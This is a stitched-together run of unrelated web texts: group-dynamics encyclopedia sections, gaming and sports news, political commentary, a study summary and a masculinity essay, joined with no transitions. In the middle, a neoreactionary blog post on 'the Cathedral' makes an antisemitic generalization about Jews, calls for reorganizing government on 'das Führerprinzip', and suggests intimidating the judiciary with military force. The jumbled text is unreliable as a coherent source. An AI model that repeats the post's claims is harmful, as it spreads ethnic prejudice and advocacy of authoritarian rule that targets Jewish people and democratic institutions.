Beliefs within the ingroup are based on how individuals in the group see their other members. Individuals tend to upgrade likeable in-group members and deviate from unlikeable group members, making them a separate outgroup. This is called the black sheep effect.[46] The way a person judges socially desirable and socially undesirable individuals depends upon whether they are part of the ingroup or outgroup.
This phenomenon has been later accounted for by subjective group dynamics theory.[47] According to this theory, people derogate socially undesirable (deviant) ingroup members relative to outgroup members, because they give a bad image of the ingroup and jeopardize people's social identity.
In more recent studies, Marques and colleagues [48] have shown that this occurs more strongly with regard to ingroup full members than other members. Whereas new members of a group must prove themselves to the full members to become accepted, full members have undergone socialization and are already accepted within the group. They have more privilege than newcomers but more responsibility to help the group achieve its goals. Marginal members were once full members but lost membership because they failed to live up to the group’s expectations. They can rejoin the group if they go through re-socialization. Therefore, full members' behavior is paramount to define the ingroup's image.
Bogart and Ryan surveyed the development of new members' stereotypes about in-groups and out-groups during socialization. Results showed that the new members judged themselves as consistent with the stereotypes of their in-groups, even when they had recently committed to join those groups or existed as marginal members. They also tended to judge the group as a whole in an increasingly less positive manner after they became full members.[49] However, there is no evidence that this affects the way they are judged by other members. Nevertheless, depending on the self-esteem of an individual, members of the in-group may experience different private beliefs about the group’s activities but will publicly express the opposite—that they actually share these beliefs. One member may not personally agree with something the group does, but to avoid the black sheep effect, they will publicly agree with the group and keep the private beliefs to themselves. If the person is privately self-aware, he or she is more likely to comply with the group even if they possibly have their own beliefs about the situation.[50]
In situations of hazing within fraternities and sororities on college campuses, pledges may encounter this type of situation and may outwardly comply with the tasks they are forced to do regardless of their personal feelings about the Greek institution they are joining. This is done in an effort to avoid becoming an outcast of the group.[49] Outcasts who behave in a way that might jeopardize the group tend to be treated more harshly than the likeable ones in a group, creating a black sheep effect. Full members of a fraternity might treat the incoming new members harshly, causing the pledges to decide if they approve of the situation and if they will voice their disagreeing opinions about it.
Group influence on individual behaviour [ edit ]
Individual behaviour is influenced by the presence of others.[37] For example, studies have found that individuals work harder and faster when others are present (see social facilitation), and that an individual’s performance is reduced when others in the situation create distraction or conflict.[37] Groups also influence individual’s decision-making processes. These include decisions related to ingroup bias, persuasion (see Asch conformity experiments), obedience (see Milgram Experiment), and groupthink. There are both positive and negative implications of group influence on individual behaviour. This type of influence is often useful in the context of work settings, team sports, and political activism. However, the influence of groups on the individual can also generate extremely negative behaviours, evident in Nazi Germany, the My Lai Massacre, and in the Abu Ghraib prison (also see Abu Ghraib torture and prisoner abuse).[51]
Group structure [ edit ]
A group's structure is the internal framework that defines members' relations to one another over time.[52] Frequently studied elements of group structure include roles, norms, values, communication patterns, and status differentials.[53] Group structure has also been defined as the underlying pattern of roles, norms, and networks of relations among members that define and organize the group.[54]
Roles can be defined as a tendency to behave, contribute and interrelate with others in a particular way. Roles may be assigned formally, but more often are defined through the process of role differentiation.[55] Role differentiation is the degree to which different group members have specialized functions. A group with a high level of role differentiation would be categorized as having many different roles that are specialized and narrowly defined.[54] A key role in a group is the leader, but there are other important roles as well, including task roles, relationship roles, and individual roles.[54] Functional (task) roles are generally defined in relation to the tasks the team is expected to perform.[56] Individuals engaged in task roles focus on the goals of the group and on enabling the work that members do; examples of task roles include coordinator, recorder, critic, or technician.[54] A group member engaged in a relationship role (or socioemotional role) is focused on maintaining the interpersonal and emotional needs of the groups' members; examples of relationship role include encourager, harmonizer, or compromiser.[54]
Norms are the informal rules that groups adopt to regulate members' behaviour. Norms refer to what should be done and represent value judgments about appropriate behaviour in social situations. Although they are infrequently written down or even discussed, norms have powerful influence on group behaviour.[57] They are a fundamental aspect of group structure as they provide direction and motivation, and organize the social interactions of members.[54] Norms are said to be emergent, as they develop gradually throughout interactions between group members.[54] While many norms are widespread throughout society, groups may develop their own norms that members must learn when they join the group. There are various types of norms, including: prescriptive, proscriptive, descriptive, and injunctive.[54]
Prescriptive Norms : the socially appropriate way to respond in a social situation, or what group members are supposed to do (e.g. saying thank you after someone does a favour for you)
: the socially appropriate way to respond in a social situation, or what group members are supposed to do (e.g. saying thank you after someone does a favour for you) Proscriptive Norms : actions that group members should not do; prohibitive (e.g. not belching in public)
: actions that group members should not do; prohibitive (e.g. not belching in public) Descriptive Norms : describe what people usually do (e.g. clapping after a speech)
: describe what people usually do (e.g. clapping after a speech) Injunctive Norms: describe behaviours that people ought to do; more evaluative in nature than a descriptive norm
Intermember Relations are the connections among the members of a group, or the social network within a group. Group members are linked to one another at varying levels. Examining the intermember relations of a group can highlight a group's density (how many members are linked to one another), or the degree centrality of members (number of ties between members).[54] Analysing the intermember relations aspect of a group can highlight the degree centrality of each member in the group, which can lead to a better understanding of the roles of certain group (e.g. an individual who is a 'go-between' in a group will have closer ties to numerous group members which can aid in communication, etc.).[54]
Values are goals or ideas that serve as guiding principles for the group.[58] Like norms, values may be communicated either explicitly or on an ad hoc basis. Values can serve as a rallying point for the team. However, some values (such as conformity) can also be dysfunction and lead to poor decisions by the team.
Communication patterns describe the flow of information within the group and they are typically described as either centralized or decentralized. With a centralized pattern, communications tend to flow from one source to all group members. Centralized communications allow standardization of information, but may restrict the free flow of information. Decentralized communications make it easy to share information directly between group members. When decentralized, communications tend to flow more freely, but the delivery of information may not be as fast or accurate as with centralized communications. Another potential downside of decentralized communications is the sheer volume of information that can be generated, particularly with electronic media.
Status differentials are the relative differences in status among group members. When a group is first formed the members may all be on an equal level, but over time certain members may acquire status and authority within the group; this can create what is known as a pecking order within a group.[54] Status can be determined by a variety of factors and characteristics, including specific status characteristics (e.g. task-specific behavioural and personal characteristics, such as experience) or diffuse status characteristics (e.g. age, race, ethnicity).[54] It is important that other group members perceive an individual's status to be warranted and deserved, as otherwise they may not have authority within the group.[54] Status differentials may affect the relative amount of pay among group members and they may also affect the group's tolerance to violation of group norms (e.g. people with higher status may be given more freedom to violate group norms).
Group performance [ edit ]
Forsyth suggests that while many daily tasks undertaken by individuals could be performed in isolation, the preference is to perform with other people.[54]
Social facilitation and performance gains [ edit ]
In a study of dynamogenic stimulation for the purpose of explaining pacemaking and competition in 1898, Norman Triplett theorized that "the bodily presence of another rider is a stimulus to the racer in arousing the competitive instinct...".[59] This dynamogenic factor is believed to have laid the groundwork for what is now known as social facilitation—an "improvement in task performance that occurs when people work in the presence of other people".[54]
Further to Triplett's observation, in 1920, Floyd Allport found that although people in groups were more productive than individuals, the quality of their product/effort was inferior.[54]
In 1965, Robert Zajonc expanded the study of arousal response (originated by Triplett) with further research in the area of social facilitation. In his study, Zajonc considered two experimental paradigms. In the first—audience effects—Zajonc observed behaviour in the presence of passive spectators, and the second—co-action effects—he examined behaviour in the presence of another individual engaged in the same activity.[60]
Zajonc observed two categories of behaviours—dominant responses to tasks that are easier to learn and which dominate other potential responses and nondominant responses to tasks that are less likely to be performed. In his Theory of Social Facilitation, Zajonc concluded that in the presence of others, when action is required, depending on the task requirement, either social facilitation or social interference will impact the outcome of the task. If social facilitation occurs, the task will have required a dominant response from the individual resulting in better performance in the presence of others, whereas if social interference occurs the task will have elicited a nondominant response from the individual resulting in subpar performance of the task.[54]
Several theories analysing performance gains in groups via drive, motivational, cognitive and personality processes, explain why social facilitation occurs.
Zajonc hypothesized that compresence (the state of responding in the presence of others) elevates an individual's drive level which in turn triggers social facilitation when tasks are simple and easy to execute, but impedes performance when tasks are challenging.[54]
Nickolas Cottrell, 1972, proposed the evaluation apprehension model whereby he suggested people associate social situations with an evaluative process. Cottrell argued this situation is met with apprehension and it is this motivational response, not arousal/elevated drive, that is responsible for increased productivity on simple tasks and decreased productivity on complex tasks in the presence of others.[54]
In The Presentation of Self in Everyday Life (1959), Erving Goffman assumes that individuals can control how they are perceived by others. He suggests that people fear being perceived as having negative, undesirable qualities and characteristics by other people, and that it is this fear that compels individuals to portray a positive self-presentation/social image of themselves. In relation to performance gains, Goffman's self-presentation theory predicts, in situations where they may be evaluated, individuals will consequently increase their efforts in order to project/preserve/maintain a positive image.[54]
Distraction-conflict theory contends that when a person is working in the presence of other people, an interference effect occurs splitting the individual's attention between the task and the other person. On simple tasks, where the individual is not challenged by the task, the interference effect is negligible and performance, therefore, is facilitated. On more complex tasks, where drive is not strong enough to effectively compete against the effects of distraction, there is no performance gain. The Stroop task (Stroop effect) demonstrated that, by narrowing a person's focus of attention on certain tasks, distractions can improve performance.[54]
Social orientation theory considers the way a person approaches social situations. It predicts that self-confident individuals with a positive outlook will show performance gains through social facilitation, whereas a self-conscious individual approaching social situations with apprehension is less likely to perform well due to social interference effects.[54]
Intergroup dynamics [ edit ]
Intergroup dynamics (or intergroup relations) refers to the behavioural and psychological relationship between two or more groups. This includes perceptions, attitudes, opinions, and behaviours towards one’s own group, as well as those towards another group. In some cases, intergroup dynamics is prosocial, positive, and beneficial (for example, when multiple research teams work together to accomplish a task or goal). In other cases, intergroup dynamics can create conflict. For example, Fischer & Ferlie found initially positive dynamics between a clinical institution and its external authorities dramatically changed to a 'hot' and intractable conflict when authorities interfered with its embedded clinical model.[61] Similarly, underlying the 1999 Columbine High School shooting in Littleton, Colorado, United States, intergroup dynamics played a significant role in Eric Harris’ and Dylan Klebold’s decision to kill a teacher and 14 students (including themselves).[51]
Intergroup conflict [ edit ]
According to social identity theory, intergroup conflict starts with a process of comparison between individuals in one group (the ingroup) to those of another group (the outgroup).[62] This comparison process is not unbiased and objective. Instead, it is a mechanism for enhancing one’s self-esteem.[2] In the process of such comparisons, an individual tends to:
favour the ingroup over the outgroup
exaggerate and overgeneralize the differences between the ingroup and the outgroup (to enhance group distinctiveness)
minimize the perception of differences between ingroup members
remember more detailed and positive information about the ingroup, and more negative information about the outgroup[63]
Even without any intergroup interaction (as in the minimal group paradigm), individuals begin to show favouritism towards their own group, and negative reactions towards the outgroup.[63] This conflict can result in prejudice, stereotypes, and discrimination. Intergroup conflict can be highly competitive, especially for social groups with a long history of conflict (for example, the 1994 Rwandan Genocide, rooted in group conflict between the ethnic Hutu and Tutsi).[2] In contrast, intergroup competition can sometimes be relatively harmless, particularly in situations where there is little history of conflict (for example, between students of different universities) leading to relatively harmless generalizations and mild competitive behaviours.[2] Intergroup conflict is commonly recognized amidst racial, ethnic, religious, and political groups.
The formation of intergroup conflict was investigated in a popular series of studies by Muzafer Sherif and colleagues in 1961, called the Robbers Cave Experiment.[64] The Robbers Cave Experiment was later used to support realistic conflict theory.[65] Other prominent theories relating to intergroup conflict include social dominance theory, and social-/self-categorization theory.
Intergroup conflict reduction [ edit ]
There have been several strategies developed for reducing the tension, bias, prejudice, and conflict between social groups. These include the contact hypothesis, the jigsaw classroom, and several categorization-based strategies.
In 1954, Gordon Allport suggested that by promoting contact between groups, prejudice can be reduced.[66] Further, he suggested four optimal conditions for contact: equal status between the groups in the situation; common goals; intergroup cooperation; and the support of authorities, law, or customs.[67] Since then, over 500 studies have been done on prejudice reduction under variations of the contact hypothesis, and a meta-analytic review suggests overall support for its efficacy.[67] In some cases, even without the four optimal conditions outlined by Allport, prejudice between groups can be reduced.[67]
Superordinate identities [ edit ]
Under the contact hypothesis, several models have been developed. A number of these models utilize a superordinate identity to reduce prejudice. That is, a more broadly defined, ‘umbrella’ group/identity that includes the groups that are in conflict. By emphasizing this superordinate identity, individuals in both subgroups can share a common social identity.[68] For example, if there is conflict between White, Black, and Latino students in a high school, one might try to emphasize the ‘high school’ group/identity that students share to reduce conflict between the groups. Models utilizing superordinate identities include the common ingroup identity model, the ingroup projection model, the mutual intergroup differentiation model, and the ingroup identity model.[68] Similarly, "recategorization" is a broader term used by Gaertner et al. to describe the strategies aforementioned.[63]
Interdependence [ edit ]
There are also techniques for reducing prejudice that utilize interdependence between two or more groups. That is, members across groups have to rely on one another to accomplish some goal or task. In the Robbers Cave Experiment, Sherif used this strategy to reduce conflict between groups.[63] Elliot Aronson’s Jigsaw Classroom also uses this strategy of interdependence.[69] In 1971, thick racial tensions were abounding in Austin, Texas. Aronson was brought in to examine the nature of this tension within schools, and to devise a strategy for reducing it (so to improve the process of school integration, mandated under Brown v. Board of Education in 1954). Despite strong evidence for the effectiveness of the jigsaw classroom, the strategy was not widely used (arguably because of strong attitudes existing outside of the schools, which still resisted the notion that racial and ethnic minority groups are equal to Whites and, similarly, should be integrated into schools).
Selected academic journals [ edit ]
See also [ edit ]
References [ edit ]
The PS4 currently does neither of these things.
Scuttled features? No, says Sony.
"Our team has been working on it," Sony's head of worldwide studios, Shuhei Yoshida, told me last week when I asked, first, about the friend-takes-over-your-game feature. "There are some things that we announced in February of last year that were not planned for the launch timeframe."
He said the suspend feature is in the same category.
"It's not ready yet," he said.
And when will either be ready? "I am asking the same question to my tech team every other week. Because every day I get reminded by lots of people: 'Where is this? Where is that?' It's a great reminder for me."
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Going back to February of 2013 for a moment, this is how Sony described the suspend/resume feature:
PS4 radically reduces the lag time between players and their content. PS4 features "suspend mode" which keeps the system in a low power state while preserving the game session. The time it takes today to boot a console and load a saved game will be a thing of the past. With PS4, gamers just hit the power button again and are promptly back playing the game at the exact point where they left off.
And this is how Sony's Dave Perry talked about the take-over-the-game feature back then. This was part of Perry's description of how Sony would make gaming more shareable (emphasis added by me):
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Your friends can actually look over your shoulder virtually and interact with you while you're playing; and if you allow them, your friends can also post comments to your screen; you can solicit support from them, or you can just trash-talk with them. (...) You can ask your friend on the internet who's finished that game, to take over your controller and assist. We're building this capability into the PS4 and the PlayStation Network.
Last October, just a couple of weeks before the PS4 launched, Sony noted that some of the February 2013-promised features wouldn't be available on day one. Six months later, they still appear to be in the works with no timeframe to speak of.
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The next big feature coming to PS4, though, seems to be backwards compatibility. That will arrive via the PlayStation Now streaming service, which is in beta now and will officially launch into open beta on PS4 on July 31.
A few other PS4 odds and ends: During our conversation about PS4, Yoshida also talked about the relative lack of big Sony-published games slated for Sony's console this fall. Driveclub and LittleBigPlanet 3 are coming, and an even-more-HD edition of the acclaimed The Last of Us will be out by then, but that's not exactly a full line-up of blockbuster, so-called AAA games.
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"We've been saying that the number of AAAs might be getting smaller because the cost of development for AAAs is getting higher," he said. "But there are so many indie games and great games coming out almost every week or every other week. We're seeing it on PS4. I hope you're seeing it as well."
Know your enemy, know yourself:
The Cathedral is the Academic-judiciary-media complex. It is also priestly power, even if some of the priests are not actually in academia, the judiciary, or media. It the set of people, with actual privilege under democracy. All people are equal, but some are more equal than others. The Cathedral are the ones that are more equal than others. Jews tend naturally to priesthood, but the Cathedral is not entirely ruled by Jews, and in practice Orthodox Jews are normally excluded from the Cathedral as unbelievers, revealing the Christian roots of progressivism.
The Cathedral has organizational continuity with the state religion of Massachussets, in that Harvard was the headquarters of the state religion of Massachusetts. Harvard is a heretical offshoot of the Church of England, in that Harvard was founded by clerics expelled from the Church of England by Charles the second, clerics known at the time as dissenters or noncomformists, and the State Religion of Massachusetts was founded by clerics who fled England to avoid the authority of Charles the first, clerics known at the time as Brownists. The frequent name changes, which continue to this day, indicate that this religion keeps developing a dreadful reputation.
The problem is the priesthood of all believers. This is wonderful in theory, but in practice, some believers are more equal than others, so what you get in practice is what Moldbug calls informal power – power that is unofficial, secretive, insecure, conspiratorial, and based on lies and pretence, as illustrated by the Climategate files.
It used to be that Royal society decided what was science, what was the scientific method, and awarded prestige to some scientists more than others. Its motto was “Take no one’s word for it” – which meant that scientists that claimed X had to show how they knew X. When Harvard got supremacy over the Royal Society as a result of World War II, we got scientific truth determined behind closed doors on the basis of secret evidence that they will not show you even if you mount freedom of information requests. Peer Review is in practice the clerical synods that the State Church of Massachussets demanded. Similarly accreditation of educational (credentialing) institutions.
The British civil war (1640-1660) was a result of dissident/brownist clerics demanding that the authority of Bishops appointed by the King be replaced by the authority of clerical synods.
This led to riots against the King’s Bishops, which Charles the first failed at first to treat as full on revolution against the King and at first failed to crush with full on military power. The mainstream interpretation of events leading up to the British civil war is that Charles was too harsh, but my interpretation is the opposite – that the more revolution you allow, the more revolution you are going to get.
We are now entering a similar crisis, in that the permanent government claims to exercise authority and regulate not on the basis of what some mere president tells it to do, but on the basis of objective fact, where some people behind closed doors get to determine objective fact and others do not.
The permanent government has long been apt to commission “research” that makes it a moral and legal necessity to reward friends and punish enemies, and in the last months of the Obama regime has been aggressively claiming priestly independence similar to that of the judiciary, academia, and the mainstream media. It has also been organizing quasi military forces independent of the regular military. This is the priesthood of all believers all over again.
The priesthood of all believers would be fine if you added a little addendum that non religious authority gets to decide which believer may administer the sacraments – the family patriarch, the magistrate, or the King, as appropriate, so that we had formal, rather than informal, inequality between believers and priests. Arguably this is implied by Saint Paul’s remarks on divine right, and in the end Martin Luther took this interpretation. Secular authorities should be able to regulate the church provided that they are not hostile to the faith and do not demand repudiation of the doctrines of the faith.
Or we could go with apostolic succession, and holy oil. There is a sufficient supply of holy oil, because if you have a bottle half full of holy oil, and top it up with regular oil, you get a full bottle of holy oil. The holiness does not get diluted. (It is a miracle) But the Roman Catholic Church and the Church of England has become rather shy about apostolic succession. Seems to me you cannot have apostolic succession, unless one apostolic successor who is a Bishop actually says to a candidate Bishop something like “By the power granted to me by the apostles, I appoint you successor to the apostles”, and sloshes him with holy oil, or something along those lines. A ambiguous pat on the head does not really count. By which standard, no one in the Roman Catholic Church or the Church of England has apostolic succession any more, so if we go with apostolic succession we will have to import some Bishops who do have apostolic succession from Mount Athos or Moscow. Mount Athos is safer. We don’t want Moscow to lose intellectual sovereignty to Harvard, and equally we do not want Washington to lose intellectual sovereignty to Moscow.
To deal with the problem, Trump is going to need to forbid heavy weapons and armored personnel carriers to any federal government agency other than the regular military, and then replace holy synods with Bishops – in other words re-organize the federal bureaucracy on das Führerprinzip.
He also needs to reduce the power of the Judiciary by demonstrating that an airforce commando outranks a supreme court justice.
And after he is done with the federal bureaucracy, do the same to Academia.
He needs to radically reduce the status of Academia by radical degree deflation- we need to reintroduce the bar exam and the civil service exam, so that you can take the exam without bothering with an accredited college, and create a viable apprentice + exam based model for doctors of medicine. And simply repeal all the other accreditation requirements, in particular and especially “disparate impact”.
Trump has already struck effectively at the power of the media without even being president. Now he needs to do to the rest of the Cathedral what he has done to the media.
After that, send a request to Mount Athos for some holy oil. We need to close off open entry into the priesthood. Even when disempowered, it is still an attractive nuisance that will attract the dangerously ambitious.
Some possible approaches to closing off open entry into the priesthood.
1: The priesthood of all believers firmly regulated by the state. The state gives them privileges and power, in return for them teaching loyalty and patriotism, but keeps them under tight formal and explicit control. (Luther’s later more conservative Lutheranism)
2: Bishops derive their authority from the King, combining apostolic succession with (1) as in the Church of England from 1660 to 1820
3: Full on apostolic succession, with appropriate respect for secular authority, as with Eastern Orthodoxy and today’s Russian Orthodox Church under Putin. Get some holy oil.
4: Hereditary priesthood, as in the Old Testament Israel.
5: Priesthood as private property, as in today’s Japan and saga period iceland, where private ownership of an official state endorsed shrine makes you a priest. We make the universities as independent in reality as they are in form, so that Academia tolerates, is unable to prevent, is incapable of suppressing, open dissent within Academia, shutting down the network of committees controlling committees that causes all Academia to speak with a single voice, that makes it a thousand loudspeakers all echoing one microphone.
It wasn’t the White House, it wasn’t the State Department, it wasn’t father LaVar’s so-called people on the ground in China that got his son out of a long term prison sentence - IT WAS ME. Too bad! LaVar is just a poor man’s version of Don King, but without the hair. Just think.. — Donald J. Trump (@realDonaldTrump) November 22, 2017
...LaVar, you could have spent the next 5 to 10 years during Thanksgiving with your son in China, but no NBA contract to support you. But remember LaVar, shoplifting is NOT a little thing. It’s a really big deal, especially in China. Ungrateful fool! — Donald J. Trump (@realDonaldTrump) November 22, 2017
There is a lot going on here, particularly given that these tweets were sent out between 5 and 6am. Trump is blatantly overstating the role he played in the release of LiAngelo Ball and two other UCLA players, who were arrested for shoplifting in China. As New York Times China correspondent Joe Kahn pointed out on Twitter, “China may have an ugly record on criminal justice, but it rarely incarcerates foreigners, and certainly wouldn’t want U.C.L.A. basketball stars in Chinese prison.” Trump further seems to have confused LiAngelo Ball with his brother Lonzo, who plays for the Los Angeles Lakers—LiAngelo’s arrest would not have imperiled Lonzo’s NBA contract. That Trump continually brandishes the fact that shoplifting carries a sentence of five to ten years in prison is also odd, given that he appears to think that this is a reasonable sentence and not a reflection of China’s harsh criminal justice system.
Retrospectively, it appears that there was much truth about that opinion. Presently, we should take notice that these powers -- now treated by "progressive" discourse as expired, dusty tales no longer relevant to our modern conflicts -- are in fact pivotal instruments in world politics today.
Agreed, we can preclude the Habsburg service, arguably the most prestigious of all four in 1914, which collapsed along with the dynasty in 1918. Pre-WWI, it had failed to prevent the satellization of the Double Monarchy by Hohenzollern Germany. It also failed to disentangle it from the Serbian crisis in 1914, to negotiate a separate peace in 1916-1917, and to mitigate its final dislocation in the wake of the 1918 military defeat.
However, the record of the three other services is quite different.
They helped their respective countries survive WWI and to strive throughout the 20th century. Most importantly, they never changed strategy -- important information to know today as we debate foreign policy in a not-so-modern world.
1. Ottoman diplomats were initially as powerless as their Austrian colleagues in front of defeat in 1919: they had to condone the Sèvres Treaty that almost finished their own empire. However, once Mustafa Kemal got rid of a Greek invasion of Anatolia and reshaped Turkey as a nation-state and a republic, they fully resumed their skills. They portrayed the new Turkey as stronger than it actually was, and yet showed willingness to make compromise in spite of its presumed strength.
Their tricks worked out beautifully. In 1923, they enabled them to negotiate the vastly more favorable Lausanne Treaty.
Post-Ottoman Turkish diplomats were even more effective in the ensuing decades. They alternatively managed to keep their country out of WWII and to bring it into NATO during the Cold War. They engaged in the European unification process (as a Council of Europe member and an EU associate) without relinquishing a single bit of national sovereignty.
And, somehow, they were able to insist both on the democratic and secular character of modern Turkey and on its Islamic identity.
Even the current Erdogan administration -- arguably the most wayward Turkish administration since the founding of the Republic -- has retreated from some major blunders thanks to its diplomats. For example, Erdogan looked to sever its ties with Israel altogether after the Mavi Marmara crisis in 2010. Yet today, a weakened Turkey was still able to turn, again, to the Jewish State for economic cooperation -- bilateral trade reached 5.6 billion dollars last year -- and strategic depth.
2. Largely through the agency of its nuncios and lesser diplomats, against all odds or logic the Holy See has survived to this day not just as a sovereign entity -- the Vatican City enclave in Rome -- but even as a world power of sorts.
One may even say, to paraphrase Mirabeau’s famous statement on Prussia -- "Other States own armies. Prussia is an army that conquered a State" -- that while other States have diplomatic services, the Holy See is a diplomatic service that has a State. Indeed, it counts more diplomats than inhabitants (the permanent population of Vatican City is less than 500), and the aggregated surface area of its diplomatic representations abroad is much bigger than its 44-hectare territory.
The Holy See enjoys -- yes, in the 21st century -- permanent observer status at the UN, and entertains diplomatic relations with almost all countries of Earth, including countries like France and the United States that insist on a strict separation between Church and State.
The only country that still professes to ignore it, China, is holding discreet talks with it time and again.
The Holy See does not just pursue quietist or irenic international policy goals, as it is frequently assumed. It works very hard, in a straight realpolitik manner, to protect Catholicism’s interests wherever this is feasible, including the Church’s material interests (think of its formal recognition of a "State of Palestine" that does not exist, in order to buttress future claims to holy places and properties in Jerusalem and the Holy Land). It exerts as much leverage as it can on Catholic communities or countries with substantial Catholic communities or majorities, either in political matters or on family and marriage issues (think of the large demonstrations in France against same-sex marriage in 2014).
It looks like defensive end Robert Ayers won’t be the only member of the 2015 Giants defense paying the Jaguars a visit in the early days of free agency.
Adam Schefter of ESPN reports that the team will also be hosting cornerback Prince Amukamara. Amukamara, a 2011 first-round pick, has played for the Giants for his entire five-year NFL career.
Amukamara, who is No. 46 on PFT’s list of the top free agents, has done a solid job for most of that time when he’s been healthy, but he hasn’t been healthy enough over the last two seasons. He tore his bicep in 2014 and had a pectoral injury in 2015, limiting him to 18 games in total over the two years.
“Who shares your values?” the ad asks. “President Obama used his health-care plan to declare war on religion, forcing religious institutions to go against their faith. Mitt Romney believes that’s wrong.” After a clip from a recent Romney speech in Poland in which he mentioned Pope John Paul II’s fight against communism, the ad concludes: “When religious freedom is threatened, who do you want to stand with?” (In case the point wasn’t clear, the on-screen text notes that Romney has been endorsed by Lech Walesa, the anti-Communist former Polish president.)
Who says values are “so 2004”?
Setting aside the silly charge that Obama is “at war” with anyone’s religion (which should be immediately clear to anyone familiar with his contraception-coverage compromise), the ad points to some troubling facts for the Romney campaign.
1. We’ve heard it all before. One of the challenges that Romney (like anyone running against an incumbent) must confront is that anti-Obama vitriol has been shooting through a fire hose for about five years now. Voters have heard it all, from accusations that he’s a socialist to wild-eyed claims about his national origin. This ad is a nod to an old, well-worn line of attack—specifically, the skinny black guy with the funny name doesn’t understand “Judeo-Christian” values. Neither true undecideds nor conservatives considering sitting out this election are likely to be surprised—or juiced up—by this allegation.
2. Romney’s still trying to prove himself to the base. It’s less than three months until the election. At this point in the campaign, Romney should have long ago locked up the GOP base. This ad suggests he hasn’t, and that his campaign knows it. “This seems aimed at a group of people who would already be pretty well sold,” said Robin Lovin, a political scientist and research fellow at the Center of Theological Inquiry in Princeton, N.J. After all, it isn’t the undecided voters who might be convinced to turn out based on an appeal to “values” issues—it’s the conservatives who are threatening to stay home. “The undecided group is really weighing what their economic chances are at this point,” Lovin said—that is, they’re not interested in holy wars.
Given the fact that Romney already faces an uphill battle (a 27.5 percent chance as of today, according to the historically precise election forecaster Nate Silver), he’s running out of time to convince the base that he’s one of them. And to win he will not only have to do that, but also pick off a fair number of voters who are genuinely undecided.
3. The ad distracts from the one issue where Romney might have an advantage. Despite the ineptness of Romney as a candidate so far, he still has a pretty straightforward, potentially successfully narrative at his disposal: Obama wrecked the economy with his free-spending ways and his obsession with reforming health care at the expense of job creation. Romney, guided by decades of business acumen, can fix it. While this storyline is factually questionable, voter discontent over the economy makes it politically potent.
But if the Romney campaign wades into social issues, where the candidate has enough holes in his record, flip-flop wise, to drive through an entire fleet of cars headed to a massive gay wedding, it threatens the very specific, economy-based campaign that is his only real shot at victory.
Most voters like Obama more, they trust him more, and with a few exceptions they’ve gotten over their irrational fears of him. His weak spot is the sputtering economy. But even that is becoming less of a liability, since recent economic news hasn’t been as horrible as usual. Moreover, Romney’s two big claims to being qualified for the presidency—his time at Bain Capital and his term as governor of Massachusetts—have been all but neutralized by very highly covered controversies over the business practices of the former and his centrist policies during the latter.
The findings by principal investigator Ryan Adams, assistant professor of educational studies at the University of Cincinnati, and William Bukowski, professor of psychology at Concordia University in Montreal, Canada, are published in the current issue of the Journal of Child Psychology and Psychiatry.
They examined peer victimization as a predictor of depression and body mass index in obese and non-obese adolescents. Adams explains that while peer victimization is comparable to bullying, bullying behavior typically involves one-on-one targeting while peer victimization can also entail victimization that can come from the peer group in general.
Over a four-year period, the study found lower self-esteem and increased depression and body mass index for obese females who felt they were victimized by their peers. Obese males reported increased depression and lower feelings about physical appearance. However, negative feelings about their physical appearance earlier in the study were linked to a decrease in body mass index as they got older.
For non-obese males and females, there was no link between peer victimization and increased body mass index, but there were links to negative feelings about physical appearance as they got older.
“Victimization may not only reinforce the negative self-concepts that a risk factor for victimization, such as obesity, may cause, but a risk factor for victimization, such as obesity, will also make it more likely that the adolescent will be victimized indefinitely. In other words, the risk factors that strengthen the links in this pathway will also keep the pathway intact because it is also a risk factor for being victimized,” Adams states in the report.
Using data from Statistics Canada (Canada’s national statistical agency), the researchers randomly selected Canadian children identified through the National Longitudinal Survey for Children and Youth and gathered self-report data from 1,287 participants over three different time periods, including when the children were 12-13 years old, 14-15 years old and 16-17 years old. To determine if children were being victimized by peers, they were asked whether children said nasty things to them at school, whether they felt bullied at school, or if they were bullied on the way to or home from school. To examine feelings about their physical appearance, the children were asked whether they liked the way they looked. To check body mass index over the three time periods, the children were asked to report their weight and height. Body Mass Index (BMI) was then calculated for males and females, and obesity was determined based on the Centers for Disease Control and Prevention’s growth charts.
“The current study suggests that a risk-factor for being victimized, such as obesity, may play an important role in the long-term effects of victimization by making it more likely that the adolescent will be victimized over the long term, but also that victimization can reinforce the negative self-perceptions that the adolescent already has,” Adams states in the study. “It is important to go beyond using obesity as a predictor of long-term adjustment and examine the processes and experiences of obese individuals that might cause depression or changes in health.”
Brian Kavanagh The man was held back by passers by
Meanwhile Brian Kavanagh, who caught the tense exchange on camera, said some people were left hiding behind parked cars as the man erupted with rage. Mr Kavanagh said: “It was because an older lady was trying to cross the crossing. I was with my 14-year-old son getting a computer game.
BRIAN KAVANAGH He hurled abuse at the older woman as she walked into the shop
Chelsea striker Diego Costa has exclusively spoken to Sky Sports' Thierry Henry ahead of the clash with Jose Mourinho's Manchester United on Super Sunday.
The Spain striker was signed by the Portuguese manager in 2014 and scored 20 Premier League goals in his first season as the Blues won the title.
Mourinho was axed by Chelsea in December 2015, but Costa insists he remains grateful to his former boss for improving him as a player.
He said: "In all honesty I always tell people that I am grateful to Mourinho because he helped me a lot.
Costa worked under Jose Mourinho at Chelsea
"As a player when you want to improve you always look for the best coach and Mourinho is one of the best.
"I wanted to come to Chelsea because of Mourinho. When I considered Chelsea I thought about the fact that Mourinho was here.
"He is a coach that demands a lot from his players, he wants the maximum.
"He helped me a lot and then what happened is that the following season didn't go well, these things that happen, but the truth is that Mourinho helped me a lot to improve as a player."
But first, let’s define masculinity. This is harder to do than it might at first appear. We could, of course, go for the easy definition. According to Google that would be “maleness: the properties characteristic of the male sex.” Except that doesn’t actually tell us anything. You’d have to already know the definition of masculine for that definition to mean anything.
The first thing to understand is that masculinity has no single definition. It’s different in different times and different cultures. There are differences not only between American masculinity and Mexican masculinity, but even between White American Masculinity and Black American Masculinity, or Rich American Masculinity and Poor American Masculinity. Masculinity is also defined by the people participating in it. By that I don’t just mean men, I mean all the people in a particular group collectively and continuously define, redefine, and create masculinity. It’s a collective abstract construct that by itself has no inherent meaning. As a bonus, femininity is defined exactly the same: a collective abstract construct with no inherent meaning.
The second thing to understand is that multiple masculinities exist alongside each other, and are hierarchical. The dominant masculinity in any given time/culture/group is called hegemonic masculinity. This would be the ideal masculinity, or what you might call a “real man.” It’s also the masculinity that gets the largest share of male privilege.
Oh noez! I said male privilege! Abort! Abort!
